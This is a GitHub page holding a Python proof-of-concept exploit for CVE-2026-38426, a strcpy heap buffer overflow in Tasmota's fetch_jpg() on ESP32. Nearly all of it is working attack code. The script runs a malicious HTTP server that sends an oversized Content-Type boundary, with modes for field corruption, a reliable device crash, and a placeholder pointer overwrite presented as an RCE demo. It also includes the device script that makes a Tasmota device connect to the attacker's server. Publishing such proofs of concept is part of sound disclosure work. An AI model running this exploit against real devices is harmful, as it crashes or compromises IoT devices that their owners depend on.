-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathCVE-2026-38426_poc.py
More file actions
167 lines (139 loc) · 5.78 KB
/
Copy pathCVE-2026-38426_poc.py
File metadata and controls
167 lines (139 loc) · 5.78 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#!/usr/bin/env python3
"""
PoC: CVE-2026-38426
Target: Tasmota <= 15.3.0.3
File: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Function: fetch_jpg() case 0
Vulnerability:
char boundary[40] — fixed 40-byte buffer in jpg_task struct.
Server's Content-Type header value after '=' is copied via strcpy()
with NO length validation:
String boundary = http.header("Content-Type");
char *cp = strchr(boundary.c_str(), '=');
if (cp) {
strcpy(glob_script_mem.jpg_task.boundary, cp + 1); // VULNERABLE
}
Attack:
Attacker controls MJPEG server Tasmota connects to.
Sends Content-Type header with boundary > 39 chars.
strcpy overflows boundary[40] → corrupts adjacent heap memory.
Memory layout (ESP32 heap, approximate):
[boundary[40]] [draw] [scale] [xp] [yp] [WiFiClient] [HTTPClient]
Overflow corrupts: draw, scale, xp, yp, WiFiClient vtable ptr → RCE
Tasmota script to trigger:
>D
>B
fetchjp(ATTACKER_IP:8888/stream,0,0,1)
Usage:
python3 CVE-2026-38426_poc.py --ip 0.0.0.0 --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --ip 0.0.0.0 --port 8888 --mode info
Author: Saidakbarxon Maxsudxonov
CVE: CVE-2026-38426
"""
import socket
import argparse
import struct
import time
from datetime import datetime
BANNER = """
╔══════════════════════════════════════════════════════╗
║ CVE-2026-38426 PoC — Tasmota fetch_jpg() ║
║ strcpy() Buffer Overflow → boundary[40] ║
║ Affected: Tasmota <= 15.3.0.3 (ESP32) ║
╚══════════════════════════════════════════════════════╝
"""
def log(msg, level="*"):
ts = datetime.now().strftime("%H:%M:%S")
print(f"[{ts}] [{level}] {msg}")
def build_overflow_boundary(mode):
"""
boundary[40] is on the heap.
Adjacent memory after boundary[40]:
+0x28: bool draw (1 byte)
+0x29: uint8_t scale (1 byte)
+0x2A: uint16_t xp (2 bytes)
+0x2C: uint16_t yp (2 bytes)
+0x2E: WiFiClient (vtable ptr at offset 0)
Overflow 44 bytes: fills boundary + overwrites draw,scale,xp,yp
Overflow 48+ bytes: reaches WiFiClient vtable pointer → RCE
"""
if mode == "info":
# 44 bytes: minimal crash — overwrites adjacent fields
overflow = b"A" * 44
log("Mode: INFO — 44 byte overflow (adjacent field corruption)", "+")
elif mode == "crash":
# 64 bytes: guaranteed crash — corrupts WiFiClient object
overflow = b"B" * 39 + b"\x00" + b"C" * 24
log("Mode: CRASH — 64 byte overflow (WiFiClient corruption)", "!")
else:
# Custom: try to overwrite function pointer for RCE demo
# ESP32 Xtensa uses little-endian 32-bit pointers
# This would need real target analysis for actual RCE
overflow = b"A" * 44 + struct.pack("<I", 0x41414141)
log("Mode: RCE DEMO — overwrite ptr with 0x41414141", "!")
return overflow
def make_malicious_response(boundary_payload):
"""Build HTTP response with malicious Content-Type boundary"""
boundary_str = boundary_payload.decode('latin-1', errors='replace')
response = (
f"HTTP/1.1 200 OK\r\n"
f"Content-Type: multipart/x-mixed-replace; boundary={boundary_str}\r\n"
f"Connection: keep-alive\r\n"
f"\r\n"
)
return response.encode('latin-1', errors='replace')
def handle_client(conn, addr, mode):
log(f"Tasmota device connected: {addr[0]}:{addr[1]}", "+")
try:
# Receive HTTP GET request
request = conn.recv(1024).decode('utf-8', errors='ignore')
log(f"Request received: {request.splitlines()[0] if request else 'empty'}")
# Build overflow payload
payload = build_overflow_boundary(mode)
log(f"Overflow payload: {len(payload)} bytes")
log(f"Payload (hex): {payload[:64].hex()}")
# Send malicious response
response = make_malicious_response(payload)
conn.send(response)
log(f"Malicious Content-Type sent ({len(payload)} byte boundary)", "!")
log("strcpy() will overflow boundary[40] on target device", "!")
log("Expected: ESP32 crash/reboot (Guru Meditation Error)", "!")
# Keep connection alive briefly
time.sleep(2)
except Exception as e:
log(f"Error: {e}", "-")
finally:
conn.close()
log(f"Connection closed: {addr[0]}")
def main():
print(BANNER)
parser = argparse.ArgumentParser(description="CVE-2026-38426 PoC Server")
parser.add_argument("--ip", default="0.0.0.0", help="Listen IP")
parser.add_argument("--port", type=int, default=8888, help="Listen port")
parser.add_argument("--mode", choices=["info","crash","rce"],
default="crash", help="Overflow mode")
args = parser.parse_args()
log(f"CVE-2026-38426 PoC Server starting", "+")
log(f"Listening on {args.ip}:{args.port}", "+")
log(f"Mode: {args.mode}", "+")
log("─" * 54)
log("Tasmota script to trigger vulnerability:")
log(f' >D')
log(f' >B')
log(f' fetchjp(YOUR_IP:{args.port}/stream,0,0,1)')
log("─" * 54)
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((args.ip, args.port))
server.listen(5)
log("Waiting for Tasmota device to connect...", "*")
try:
while True:
conn, addr = server.accept()
handle_client(conn, addr, args.mode)
except KeyboardInterrupt:
log("Server stopped")
finally:
server.close()
if __name__ == "__main__":
main()